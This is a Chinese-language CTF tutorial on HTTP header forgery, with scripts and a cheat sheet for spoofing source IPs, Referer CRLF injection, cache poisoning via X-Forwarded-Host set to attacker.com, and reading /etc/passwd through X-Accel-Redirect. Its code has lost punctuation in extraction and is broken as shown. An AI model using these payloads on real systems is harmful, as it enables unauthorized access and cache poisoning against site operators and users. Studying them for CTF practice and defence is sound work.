HTTP Header 安全实战:5种CTF场景下的请求头伪造与绕过技巧
HTTP Header 安全实战5种CTF场景下的请求头伪造与绕过技巧在CTF竞赛中HTTP请求头往往是攻防对抗的前沿阵地。不同于常规渗透测试CTF中的Header利用需要更精巧的构造和更深入的协议理解。本文将剖析五种典型场景下的Header伪造技术并提供可直接复用的攻击脚本与速查表。1. 源IP伪造与X-Forwarded-For的攻防博弈当遇到仅限内网访问的提示时常规思路是伪造X-Forwarded-For头。但现代WAF往往会对简单伪造进行拦截此时需要更精细的payload构造import requests headers { X-Forwarded-For: 192.168.1.1, 10.0.0.1, X-Real-IP: 127.0.0.1, Client-IP: 172.16.0.1 } response requests.get(http://target.com/admin, headersheaders) print(response.text)关键技巧同时设置多个IP相关头部形成混淆使用私有地址段RFC 1918增加可信度添加非常规头如CF-Connecting-IP应对CloudFlare防护常见拦截规则与绕过对照表防护类型示例拦截规则有效绕过方式单IP检测检查X-Forwarded-For首个IP在首位插入合法公网IP格式校验验证IPv4格式使用::1等IPv6格式黑名单过滤屏蔽127.*使用0x7f000001十六进制表示2. Referer头注入与开放重定向漏洞组合利用当目标检查请求来源时常规Referer伪造可能被WAF识别。结合CRLF注入可实现更隐蔽的攻击GET /vulnerable_endpoint HTTP/1.1 Host: target.com Referer: https://trusted.com/\r\nX-Malicious: payload实战案例 在某次CTF中通过以下步骤绕过防护发现重定向端点未过滤%0d%0a构造恶意Referer触发响应头注入注入Location头实现SSRFcurl -H Referer: http://trusted.com/%0d%0aLocation:%20http://attacker.com http://target.com/redirect3. User-Agent的高级欺骗技巧浏览器指纹检测常依赖User-Agent但CTF中可能需要特定UA值from selenium import webdriver options webdriver.ChromeOptions() options.add_argument(user-agentMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36) driver webdriver.Chrome(optionsoptions)特殊场景解决方案需要旧版浏览器时添加Trident/7.0等IE标识移动端模拟使用Mobile Safari标识爬虫伪装采用Googlebot的UA4. 自定义头的漏洞挖掘与利用CTF中常出现非标准头的安全检查通过模糊测试发现隐藏漏洞import itertools import requests headers_list [X-API-Key,X-Secret,X-Debug] values [true,1,admin,flag] for h,v in itertools.product(headers_list, values): response requests.get(url, headers{h:v}) if flag{ in response.text: print(fVulnerable header: {h}:{v})高效测试策略使用Burp Intruder的Cluster bomb模式重点关注X-开头的自定义头测试布尔型参数的不同表示形式5. 缓存投毒与Header注入的组合拳利用缓存服务器对Header处理差异实施攻击GET / HTTP/1.1 Host: vulnerable.com X-Forwarded-Host: attacker.com攻击链构建识别使用CDN的目标站点注入恶意Host头污染缓存当其他用户访问时返回攻击者控制的内容防御绕过技巧使用大小写变异x-forwarded-host添加冗余空格X-Forwarded-Host : attacker.com组合多个头X-Host X-Forwarded-ServerCTF Header挑战速查表挑战类型关键Header典型Payload示例工具推荐IP限制绕过X-Forwarded-For192.168.1.1, 10.0.0.1Burp Repeater来源验证Refererhttps://trusted.com/\r\n注入内容curl浏览器验证User-AgentpicobrowserChrome DevTools管理员权限获取Cookie/X-AdminadmintruePython requests缓存投毒X-Forwarded-Hostevil.comWeb Cache Viewer自动化攻击脚本模板import requests from bs4 import BeautifulSoup def header_exploit(url): session requests.Session() # 第一阶段信息收集 response session.get(url) server response.headers.get(Server, ) # 第二阶段针对性攻击 if nginx in server.lower(): headers {X-Accel-Redirect: /etc/passwd} else: headers {X-Original-URL: /admin} # 第三阶段结果验证 response session.get(url, headersheaders) soup BeautifulSoup(response.text, html.parser) if flag{ in response.text: print([] 漏洞利用成功) print(response.text.split(flag{)[1].split(})[0]) else: print([-] 尝试失败) if __name__ __main__: header_exploit(http://ctf.example.com)在实际CTF比赛中这些技术往往需要组合使用。某次比赛中就曾通过以下步骤拿到flag发现X-Forwarded-For存在SQL注入通过User-Agent绕过WAF速率限制利用Accept-Language头触发报错注入最终在响应头的X-Flag字段获取凭证